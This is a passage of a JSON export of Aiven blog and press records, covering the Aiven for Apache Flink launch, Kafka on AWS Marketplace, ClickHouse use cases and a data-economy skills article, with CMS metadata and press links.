\n\n## Further reading\n\n- [Top requirements for building performant real-time applications](https://aiven.io/blog/the-top-requirements-for-building-performant-real-time-applications)","categories":[{"_key":"dbcfa0097156","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"48a10078be85","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"0429027b2b78","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-103acde23f8e1096ff0a67aa799af9449f59e355-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-10T11:47:06.889Z","related":[{"_key":"25d0e9e4dd63","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"b5cac0dd1716","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Learn the disadvantages of batch analytics, the benefits of switching to real-time, and how to adopt a tech stack that supports real-time analytics.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-103acde23f8e1096ff0a67aa799af9449f59e355-1567x844-jpg","_type":"reference"}},"metaTitle":"Reasons for Moving from Batch to Real-Time Analytics"},"slug":{"_type":"slug","current":"/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time"},"subtitle":"Learn the disadvantages of batch analytics, the benefits of switching to real-time, and how to adopt a tech stack that supports real-time analytics.","title":"Why you should think about moving analytics from batch to real-time"}
{"__i18n_lang":"en","_createdAt":"2023-01-31T13:49:45Z","_id":"bc611918-4bbd-462d-95ac-cc2ebf962189","_rev":"ZLvKaZvfbZlWBlGcpInuvG","_type":"post","_updatedAt":"2024-01-29T15:38:25Z","authors":[{"_key":"cb000da83638","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"What is it worth to be first? First to identify a new trend, first to recognize an opportunity, first to recognize a risk or a threat, and to be the first to respond to it? \n\nThe answer is often ‘a lot’ – and sometimes that’s an understatement. According to recent research* over 80% of businesses say that transforming to a real time enterprise is critical to meeting customer expectations, yet only 12% have optimized their processes for real time customer experiences. One of the obvious reasons is that it's harder to remain responsive enough to stay in first place as you grow. This is true for both organizational scale and business complexity. \n\nUtilizing technology is the key to success. Businesses are turning to real-time data from various sources such as connected devices, data-intensive applications and digital operations to drive their growth. Many organizations, including most of Aiven’s customers, have already adopted event streaming technologies like Apache Kafka® to help them detect and respond to changes in real time. \n\nApache Kafka is a proven, reliable way to make data available to the applications and services within any business in real time, but there is a growing need to process that data *as it is being generated*. And wouldn’t you want to do more than just *respond* to data or events - what about deriving value from it in real time?\n\nThis is where Apache Flink® comes in. \n## Apache Kafka and Apache Flink: the cornerstones of event streaming\nTogether with Apache Kafka, Apache Flink enables you to create a robust event streaming infrastructure. Events can flow within the organization via Apache Kafka, while Apache Flink acts as the computational layer, and processes those events in real time. This combination is universally and widely applicable to a variety of industries and organizations of different sizes. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962.png?w=450)\n\nApache Flink makes it easy to build, deploy and operate:\n\n- Streaming analytics (analytics that are computed and updated in real time as new events are being produced and processed)\n- Event-driven applications (these are applications that respond to such data in real time based on new events that are being processed)  \n\nApache Flink® is an open source stream processing framework and distributed streaming runtime that originated as a research project from Technische Universität in Berlin, Germany (TU Berlin). In 2015, it became a top-level project under the Apache Software Foundation. \n\nApache Flink has been adopted and battle-tested by some of the largest and most technology-dependent organizations in the world, including [Netflix](https://www.infoq.com/news/2022/04/netflix-studio-search/), [Pinterest](https://medium.com/pinterest-engineering/real-time-experiment-analytics-at-pinterest-using-apache-flink-841c8df98dc2) and [Uber](https://www.uber.com/en-DE/blog/real-time-exactly-once-ad-event-processing/). The framework can be used at varying levels of scale, and its ability to perform stateful computations over both streaming and batch data sets it apart. Apache Flink is a best-of-breed unified processing framework that can deliver significant value to organizations who are serious about utilizing their data in real time.\n\n## Aiven for Apache Flink now available\nToday, we are excited to announce that the [Aiven for Apache Flink® managed service](https://aiven.io/flink) is now generally available for all customers, and ready to use in production. \n\nThe Aiven team has worked with customers who experimented with the [Aiven for Apache Flink®] beta, taking on board their feedback and working on improvements. As a result, everyone can now take advantage of an easy-to-use stream processing service that is ready to support the real-time needs for organizations in all industries and sizes. \n\nThe Aiven for Apache Flink service stands on three key pillars: \n\n- A fully managed Apache Flink service that can be deployed in the cloud of your choice \n- A unique self-service Flink SQL suite, offering a first-class developer experience \n- A Flink automation layer, Aiven's built-in management layer that eliminates the operational overhead of deploying, running, monitoring and managing open source Apache Flink. This provides instant maturity and production-ready data pipelines backed up by enterprise-grade availability SLA of 99.99%.\n\n| **Apache Flink deployed  in the cloud of your choice** | **A self service Flink SQL developer experience** | **The utility of Flink without the operational overhead** |\n| ----------- | ----------- |-------------- |\n| ![Illustration shows how Apache Flink connects to different cloud solutions including AWS, Google Cloud and Microsoft Azure.](https://cdn.sanity.io/images/sczeoy4w/production/7103e45b9b3507a78f5128ac5c5fb377908e277b-390x390.png) | ![Illustration represents great developer experience. Laptop is connected to API services and SQL letters are highlighted on the keyboard.](https://cdn.sanity.io/images/sczeoy4w/production/8a84f2434e39422e2d3fae3705d75d7c6dd985c6-390x390.png) | ![Illustration with cogs represents reliability and the speed of Apache Flink.](https://cdn.sanity.io/images/sczeoy4w/production/33769643b1bede78982f06df31c46a4c18d6f743-390x390.png) |\n| Aiven’s managed service for Apache Flink allows you to **distribute your cluster** across multiple cloud providers including the three hyperscalers AWS, Google Cloud and Microsoft Azure. | Apache Flink SQL is at the core of Aiven for Apache Flink. A truly unified API for **low latency** stream processing; **streaming SQL** experience to democratize access to streaming data across teams; bringing **coding best practices** to building and maintaining streaming applications. | A fully managed service for Apache Flink with **near-zero downtime** for operational tasks, **high availability and resilience** from the get go, and a **99,99% SLA**, backed by Aiven’s SRE team. |\n\n\n## Apache Flink deployed in the cloud of your choice\nIf you have a need to deploy applications \u0026 services across multiple cloud providers, but you want to reduce the complexity that comes with this requirement, Aiven can help. Our managed data infrastructure services can be deployed across multiple regions and cloud providers such as AWS, Google Cloud, and Microsoft Azure, giving your organization the flexibility to:\n \n- Fulfill data residency requirements.\n- Increase business resilience.\n- Explore and exploit cost saving opportunities.\n- Avoid potentially being locked into a single provider. \n\nWith data being replicated across multiple cloud providers, running parallel workloads on top of slightly different technologies represents an operational challenge and a considerable risk, especially for mission-critical and data-intensive workloads. \n\nAiven for Apache Flink solves this problem by providing a way to deploy and run your Apache Flink applications in different clouds. Without having to worry about the underlying infrastructure or puzzle over the specific requirements of each cloud vendor, you regain the flexibility to execute on your core business objectives. From today, you can quickly and easily spin up Aiven for Apache Flink clusters in more than 100 regions across AWS, Google Cloud and Microsoft Azure. \n\nAdditionally, with Aiven for Apache Flink, you’ll benefit from the same 99,99% availability SLA commitment across all clouds. \n\nAnd on top of that, you get the same familiar and intuitive Aiven Console, CLI and API experience and the friendly Aiven support across all clouds, everywhere in the world.\n## A self-service Flink SQL developer experience\n\nAiven for Apache Flink brings Apache Flink SQL to center stage in enabling you to build unified, robust, and scalable event-driven applications and streaming analytics with your organization’s real time data. \n\nSQL is the go-to language for data professionals, from data scientists and engineers to business analysts. With its widespread adoption, SQL allows for faster and more efficient data pipeline prototyping, validation, and deployment, which ultimately leads to faster time-to-market for a wide range of applications. Just imagine it: faster and more accurate decisions, just by having a common language for all your data teams across domains. \n\nFlink SQL is the perfect framework for the job thanks to its [wide set of SQL functions](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/), and its extensive support and development by the Apache Flink community. Flink SQL offers a powerful, unified and declarative API built on top of Apache Flink. It enables performant computations on both bounded and unbounded data streams, making it suitable for a wide range of use cases, such as:\n\n- Streaming analytics\n- Data integration\n- Pattern matching and anomaly detection\n- AI and Machine Learning\n\nIt’s ANSI SQL compliant, integrated with Apache Calcite’s query optimization, and SQL parsing capabilities. \n\nAll this makes Flink SQL a technology that established organizations are already exploiting to great benefit.\n\nIn Aiven for Apache Flink, we are taking Flink SQL to the next level by bringing coding best practices to the construction of real time Apache Flink applications.\n\n**A redesigned interface with new capabilities.**\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499.png?w=450)\n\nIn Aiven for Apache Flink, we introduce the concept of ‘applications’ at the core of the development environment. An Application brings together all the elements of your Flink jobs (sink and source tables, transformation SQL, deployment parameters, checkpoints and more). \n\n**Application versioning**\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411.png?w=450)\n\nDefine several versions of your Flink applications—you can easily ‘time travel’ in your development cycle with a click of a button and move between versions. \n\n**Pipeline output preview**\n\n::youtube[Pipeline output preview with Aiven for Apache Flink]{#eGWCUx600dI}\n\n\u0026nbsp;\n\u0026nbsp;\n\nAiven for Apache Flink enables the concept of previewing the output of your table definition and SQL transformation. This allows you to execute your Flink SQL query in your application and preview the first lines of the results to ensure that your code execution brings the expected outcome before moving ahead with your deployment.\n\n## All the utility of Apache Flink without the operational overhead\n\nManaging your own Apache Flink jobs — be it on-premises or in a self-hosted or self-managed environment — can be difficult. This is especially the case when your jobs experience unpredictable and spiky data traffic fluctuations, which requires you to manually scale your infrastructure to ensure that high data loads are backed by all the necessary resources, whenever they occur. \n\nMoving to a fully managed cloud service can be the solution. Using [Aiven for Apache Flink](https://aiven.io/flink) automates most of the operational and maintenance activities around managing Flink in production:\n\n- **Easily scaling up (or down) your resources**\nUsing the elasticity of the cloud, Aiven for Apache Flink allows you to easily scale up or down your resources with the click of a few buttons in the Aiven Console. \nYou can provision resources according to the data loads you expect Apache Flink to be processing on a daily/weekly/monthly basis. Another option is to set up an automated process that triggers service scale up or down based on the service workload. \n- **Graceful shutdown with persisted savepoints**\nWith Aiven for Apache Flink you can now gracefully shut down your Flink jobs. This ensures that your savepoints are persisted if you need to restart them later.\n\nTo add to all of the above, Aiven’s service for Apache Flink is backed by Aiven’s 99.99% SLA just like all our services.\n\nAiven now brings a robust, production-grade, easily deployed Apache Flink service and a streaming SQL engine able to handle most streaming SQL applications scenarios for the modern enterprise. You can really start building streaming applications in minutes, without worrying about managing and maintaining this piece of infrastructure. And most importantly, without worrying about your team’s management and maintenance overhead.\n\n## Pricing \u0026 availability\nAiven for Apache Flink is immediately available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAll Aiven for Apache Flink plans come with a minimum of 3-node setup, providing resilience and high availability while ensuring minimal downtime even in the case of a node failure.\n\nAiven for Apache Flink is priced per hour, with prices starting from $0.57/h ($400/month).\n\n## Getting started with Aiven for Apache Flink\nThe easiest way to get started right now with Aiven for Apache Flink is to take advantage of our [free trial](https://console.aiven.io/signup) with $300 free credits for a month. \n\nAlso check out our [Aiven for Apache Flink product page](https://aiven.io/flink) and our [developer documentation](https://aiven.io/docs/products/flink) for more information and tips to help you get up to speed quickly. \n\n**Happy flinking!**\n\n\nP.S. If you already have a service running Aiven for Apache Kafka, take a look at how to [connect it with our Aiven for Apache Flink service](https://aiven.io/docs/products/flink/howto/create-integration) to get you up and running in no time. \n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n\n**https://partners.wsj.com/aerospike/the-power-of-now/the-future-of-business-starts-right-now/*\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"b1456688d891","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"0f1a1078f83e","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-08T13:00:00.000Z","related":[{"_key":"ede7c3e6c755","_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},{"_key":"78fc3e1de405","_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-apache-flink-generally-available"},"subtitle":"With Aiven’s fully managed Apache Flink® service, you can leverage the power and flexibility of real time data processing. ","title":"Aiven for Apache Flink® is now generally available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2I2Z1v2ZqqFAwOmfeYijbd","_rev":"0h6e4MYEG0xbOjLBGGFQXa","_type":"post","_updatedAt":"2024-11-28T09:43:12Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We are happy to announce that Aiven for Apache Kafka is now available in AWS Marketplace. This means that it will be easier for those of you using AWS infrastructure and services to develop and host your applications to incorporate Aiven into your workflows.\n\n\u003e Specifically, whether you need to deploy Aiven for Apache Kafka from your AWS account to simplify your procurement process or want to include us in your monthly AWS bill, you can.\n\nAnd we won’t stop with managed Kafka; we’ll incrementally add more services until all Aiven services are available there — including our upcoming [Aiven for M3](https://aiven.io/blog/an-introduction-to-m3). Ultimately, you will be able to launch a bona fide, managed open source data pipeline from the AWS marketplace.\n\n## Why start with Aiven for Apache Kafka on AWS Marketplace?\n\nSimply put, Aiven for Apache Kafka represents the most mature cloud Kafka service available on the market. Additionally, Apache Kafka itself forms the foundation of many architectures with far-reaching implications should it fall down in production environments.\n\nAs such, it is imperative that AWS Marketplace customers have access to a managed service that not only fields features necessary to run enterprise workloads but gives them the confidence that their architecture’s heart continues to beat, no matter the circumstance.\n\nThose features and our expertise ensure that you can truly focus on building the applications that push your organization forward while enjoying the benefits of a powerful tool like Apache Kafka without the time and personnel costs that coincide with self-managing such a tool.\n\n## Aiven for Apache Kafka on AWS Marketplace in 3 steps\n\n### Step 1: Click Continue to Subscribe from Aiven for Apache Kafka page\n\nOnce you reach the Aiven for Apache Kafka landing page on AWS Marketplace and review the necessary information, start the registration process by clicking Continue to Subscribe.\n\n![step 1 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/da25b2bb165a8ab255e870ef500f17159006e276-1300x1028.png)\n\n### Step 2: Click Continue to Subscribe from Aiven for Apache Kafka page\n\nAfter you click Continue to Subscribe, you will be sent to the subscription page where you can finalize the subscription from the AWS Marketplace’s side. After you click Subscribe, you will be sent to a Thank You page on our side with a link that sends you to our signup page.\n\n![step 2 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495.png)\n\n\n### Step 3: Register at aiven.io and launch your first Apache Kafka cluster\n\nNext, you will be taken to a thank you page from which you will click the link entitled, \"Proceed by creating a new Aiven account.\"\n\n![step 3 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735.png)\n\nLastly, simply input your name, email address, and password into our signup page and launch your first cluster.\n\n![step 4 continued of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849.png)\n\n\nThat's it! And remember, we will be adding more Aiven services throughout the year. To stay tuned, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-97785404499e43aa021f6cb272dd7691825bb2df-726x406-png","_type":"reference"}},"publishedAt":"2020-03-10T00:00:00.000Z","seo":{"metaDescription":"To simplify our customers' procurement and accounting processes, we decided to offer Aiven services in AWS Marketplace. Find out which service we started with and how to get started in this post.","metaImage":{"alt":"","asset":{"_ref":"image-97785404499e43aa021f6cb272dd7691825bb2df-726x406-png","_type":"reference"}},"metaTitle":"Aiven is now available in AWS Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-now-available-on-aws-marketplace"},"subtitle":"To simplify our customers' procurement and accounting processes, we decided to offer Aiven services in AWS Marketplace. Find out which service we started with and how to get started in this post.","title":"Aiven is now available in AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:20Z","_id":"62vXvKS09GfFbkC0gY6xvu","_rev":"ZhxRwgWPklJwoe04lpQiIU","_type":"post","_updatedAt":"2024-11-28T13:02:40Z","authors":[{"_key":"2acjNLjMT0JmpSV9r8dyvC","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"## What *does* that mean?\nWhat it means is, Aiven for ClickHouse is your one-stop tool for long-term storage of big volumes of data, and boasts an ideal toolkit for working with analytical data. This includes a huge number of functions, operators, compression codecs - and more. You’ve probably heard the term *online analytical processing* - OLAP. That’s what we’re talking about.\n\n[Open source ClickHouse](https://aiven.io/blog/what-is-clickhouse \"What is ClickHouse? An introduction\") is a columnar database offering extremely high throughput. To enjoy high-performance analytics for insights that help drive your business, integrate ClickHouse with [Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/get-started) Integrate with PostgreSQL®\") or [Aiven for Apache Kafka®](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html \"Integrate with Apache Kafka®\"). \n\nNow, let’s talk cases.\n\n### Offload analytics from your operational databases\nAre you using Aiven for PostgreSQL as your operational database? Running analytical queries directly as part of your online transaction processing (OLTP) setup?\n\n__The problem:__ Running analytical queries - which can take hours - slows down performance for other users who just want to use the database to read, update or delete data. This impact on OLTP database performance can be considerable.\n\n__The solution:__ Offloading analytics queries from PostgreSQL to ClickHouse using its built-in integrations. Bringing analytical data into ClickHouse helps speed up queries and ensure that performance of OLTP requests in PostgreSQL is not affected.\n\n### Get real time analytical dashboards and reporting\nLet's say you're in the business of capturing metrics. *Lots* of metrics. Server metrics, IoT devices, connected vehicle fleet data, you name it. \n\n__The problem:__ Your existing infrastructure can’t handle the increased telemetry load, and you’re experiencing limited functionality and aggregation capabilities in your current datastore.\n\n__The solution:__ Data can be quickly aggregated in real time to push the latest stats to dashboards. Efficient storage algorithms allow us to store a lot of data and enable users to easily generate trends and comparisons by looking at historical and recent data side by side.\n\n### Get high-performance analytics for your streaming and time series data\nDo your applications need frequent time series data aggregation? Do you need to quickly store and process big data to display to your end users?\n\n__The problem:__ As data volumes / number of users increase, your existing stack performance hasn’t scaled to match - and queries are getting slower.\n\n__The solution:__ ClickHouse is ideal for fast aggregations on large datasets. ClickHouse’s vectorized query execution and [compression](https://clickhouse.com/docs/en/about-us/distinctive-features#data-compression \"Data compression with ClickHouse\") work to greatly improve performance.\n\n## Does any of this sound like you?\nIf so, let’s get started! With us, you can set up clusters, deploy new nodes, migrate clouds and fork databases in just a few clicks. Better yet, you can monitor everything on a simple dashboard - or use [Aiven for ClickHouse with Grafana](https://aiven.io/docs/products/clickhouse/howto/connect-to-grafana.html \"Visualize ClickHouse® data with Grafana®\") to really bring your data warehouse to life.\n\nAiven for ClickHouse allows you to set up a fully managed cloud data warehouse in less than 10 minutes. If you’re a new customer, you'll need to create an Aiven trial account first.\n\n1. [Log in to the Aiven Console](https://console.aiven.io/signup).\n2. Create a new ClickHouse service.\n3. Load data to your newly created service.\n4. Use the built-in query editor to develop and test your analytics queries.\n5. Enjoy!\n\nFor more information, visit our [Aiven for ClickHouse product page](https://aiven.io/docs/products/clickhouse.html) and check the [product documentation here](https://aiven.io/docs/products/clickhouse/ \"Aiven Developer Portal\").\n\nIf you have any feedback or questions, hit us up on [Twitter](https://twitter.com/aiven_io).\n\nTo get the latest news about Aiven and our services, plus a bit extra on all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-15T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® is a fully-managed cloud data warehouse designed for exceptionally fast online analytical processing … what does that mean?","metaImage":{"alt":"","asset":{"_ref":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for ClickHouse® | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-clickhouse"},"subtitle":"Aiven for ClickHouse® is a fully-managed cloud data warehouse designed for exceptionally fast online analytical processing … what does that mean?","title":"Use cases for ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2025-01-09T17:41:41Z","_id":"fd01a2f2-79ea-4323-8354-aede75d215f9","_rev":"tW1iVB3M02HkZ9xlNZtBdk","_type":"post","_updatedAt":"2025-01-09T18:12:53Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The data economy may hinge on technology but it is being driven-forward by people. The fourth piece in our series explores this side of the data economy in detail looking at the evolution of digital skills required in today’s market. Featuring insight from Dojo, Atomico and WorkOrb, it looks at the challenges of finding people with the necessary skills and touches on what is required from a human capital perspective for companies to best achieve success in the data economy. If you’ve missed any of the earlier blogs, you can find them [here](https://aiven.io/blog)\n\nFor all the advancements made in technology, none of it would be possible without humans. It’s why, in today’s dynamic, data-driven economy, talent has emerged as a critical factor in enhancing competitiveness.\n\nYet, for a resource as abundant as people, accessing the right skills is proving to be challenging. It poses the question as to whether the capabilities available in the market today are helping or hindering growth in the data economy.\n\n::youtube[What is the data economy and why is it important]{#r-9Grwgucbk}\n\n\n## Technology evolving faster than our ability to keep up\nOver the past decade, employment in the technology sector in Europe has grown exponentially, increasing by around 60% over that period, according to the [European Commission](https://ec.europa.eu/eurostat/statistics-explained/index.php?title=ICT_specialists_in_employment). It also reports that this growth starkly contrasts with the 10% increase in overall job creation in the European economy. \n\nThis trend reflects a growing demand for digital professionals but volume alone only tells part of the story. The challenge is that technology is evolving faster than our ability to keep up. Each rotation of progress is taking us forward at one end and widening the digital skills gap at the other. It’s an issue that already [costs](https://www.kingstrust.org.uk/about-us/news-views/decoding-digital-skills-gap-report) the UK economy up to £63 billion a year. \n\n\n## Not enough people with the right skills\nPut simply, there are not enough people with the types of skills needed to work in the data economy. It’s an issue that is being exacerbated by the rise of Generative AI with companies intent on recruiting talent that will both differentiate themselves from the competition and provide a degree of sovereignty when it comes to the AI tooling that will drive the business forward.  Because every company now entering the economy is data-based, the talent pool of those with the right type of skills diminishes. Unless something is done, it’s a race to the bottom.\n\nIt was a point made by **Luca Eisenstecken, Partner, [Atomico](https://atomico.com/)** who recently told us, \n\n\u003eData and AI profiles are some of the most sought after skill sets currently by recruiters. Accordingly, there's a lot of demand for those types of profiles and some companies have been struggling to recruit people with the necessary skills.\n\nThis is because AI is distorting the skills market even further. Only a few years ago, those with coding and development skills were in high demand. They’re still highly sought after but, we’re also seeing AI begin to take programming work as it is used to enhance the pace of development for current programmers. Longer term, AI may or may not take more of this type of work but what is certain is that businesses will need people who at least have some element of technical understanding alongside capabilities relating to AI.\n\nIt’s why we’re seeing incentives for young people to get into such areas and a huge drive for STEM subject uptake for secondary school pupils. Unfortunately, the data economy cannot wait for today’s young adults to come of age. So how are businesses the data economy plugging this sills black hole?\n\n\n## Mindset and foundational skills\nOne of the main issues businesses are facing is that ‘digital skills’ is a relatively amorphous term. It covers everything from basic spreadsheet capabilities to complex coding. There is no one-size-fits-all solution and answering it in the speed that is required needs strategic consideration from all sides. As explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/), an innovative payments company, who said: \n\n\u003eThere are so many tools and technologies that people have experience with. Finding the right match when it comes to what your own company is using is incredibly difficult. It’s why we spend a lot of time going through candidates and making sure that they have the right mindset and foundational skills. Having adaptability and hunger to learn new skills is more valuable for us over the long term than an individual with deep knowledge in a limited space.\n\nIndividuals, too, also need to bear some degree of responsibility in terms of best equipping themselves with the type of skills and experiences that are being sought. It is one of the driving forces behind the [Aiven Cluster Program](https://aiven.io/cluster), which offers early stage companies credits to use on any of the open source services available on the Aiven platform. This helps young companies grow but, by proxy, exposes those people working in them to the latest tools and platforms that will be the foundation to future businesses.\n\n“Hard skills always matter more than logos on a resume,” says Luca Eisenstecken\n\n\n## A manifestation of innovation\nThe data economy is a manifestation of innovation. It exists because it solves problems - mostly this is for customers and citizens but, when it comes to skills, this is something that it needs to address for itself. It won’t happen overnight but as more and more data-based companies emerge, so too do the opportunities for people to work in a place that exposes them to the rigors needed to be successful in tomorrow's economy.\n\nWe also caught up with **Nilesh Bansal, co-founder and CTO at** [Workorb](https://www.workorb.com/, an AI and ML founded company poised to revolutionize the sales landscape, who shared some great insights into how his company is bridging the skills gap. He said, \n\n\u003eTeams need to go beyond the skills that they have historically been using and move on to a new phase. One capable of ensuring data is accessible, resilient, reliable with the right governance controls in place. That's what will drive the data economy forward.\n\n\n## Always something new to learn\nThe rate at which technology advances means there’ll unlikely ever be an over-supply of skills and talent. However, today’s data-driven companies are far better positioned than their predecessors when it comes to upskilling and evolving their teams in an environment that encourages gradual improvement.\n\nIt’s this gradual improvement, brought about by every innovative entrant to the data economy, that will plug the skills gap. \n\n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Empowering Europe's Data Economy: The Role of Skills and Talent","asset":{"_ref":"image-4da19385245b96c0e7e6adc567887795d7ccd995-1200x630-png","_type":"reference"}},"publishedAt":"2025-01-09T14:42:00.000Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"d72c2e0232fd","_ref":"0ad4e125-5238-4750-a6d4-0edba23b4856","_type":"reference"},{"_key":"d3a93a34c3d9","_ref":"83e71a0f-722d-481e-8616-00e6b17f6a95","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The data economy may hinge on technology but it is being driven-forward by people. \n","metaImage":{"_type":"mainImage","alt":"Empowering Europe's Data Economy: The Role of Skills and Talent","asset":{"_ref":"image-4da19385245b96c0e7e6adc567887795d7ccd995-1200x630-png","_type":"reference"}},"metaTitle":"Empowering Europe's Data Economy"},"slug":{"_type":"slug","current":"/blog/skills-and-talent-the-fuel-powering-the-europes-data-economy-forward"},"subtitle":"Empowering Europe's Data Economy: The Role of Skills and Talent","title":"Skills and talent - the fuel powering the Europe’s data economy forward"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5PusjxUvst3JaTl5hguWrc","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.theregister.com/2022/05/13/aiven_funding","publishedAt":"2022-05-13T08:00:00.000Z","subtitle":"Demand for PostgreSQL and Kafka driving interest in cloud service, CEO tells The Register","title":"Finnish open-source-as-a-service startup Aiven adds $1bn to valuation"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1Eb3VKVzCI4pbEvdklrlV1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://backendnews.net/managing-advanced-persistent-threats-knowledge-prevention-and-defense/","publishedAt":"2021-09-08T21:00:00.000Z","subtitle":"Want to learn more about how to protect your organization from an APT? Check out this article by our CISO Jamie Arlen. ","title":"Managing advanced persistent threats: Knowledge, Prevention and Defense"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"nsbIMBvAuooROqfdBdTGp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://pulse2.com/aiven-40-million-eric-liaw-joins-board/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced it raised $40 million in Series B. And IVP General Partner Eric Liaw is joining the board.","title":"Aiven: $40 Million Funding And Eric Liaw Joins Board"}
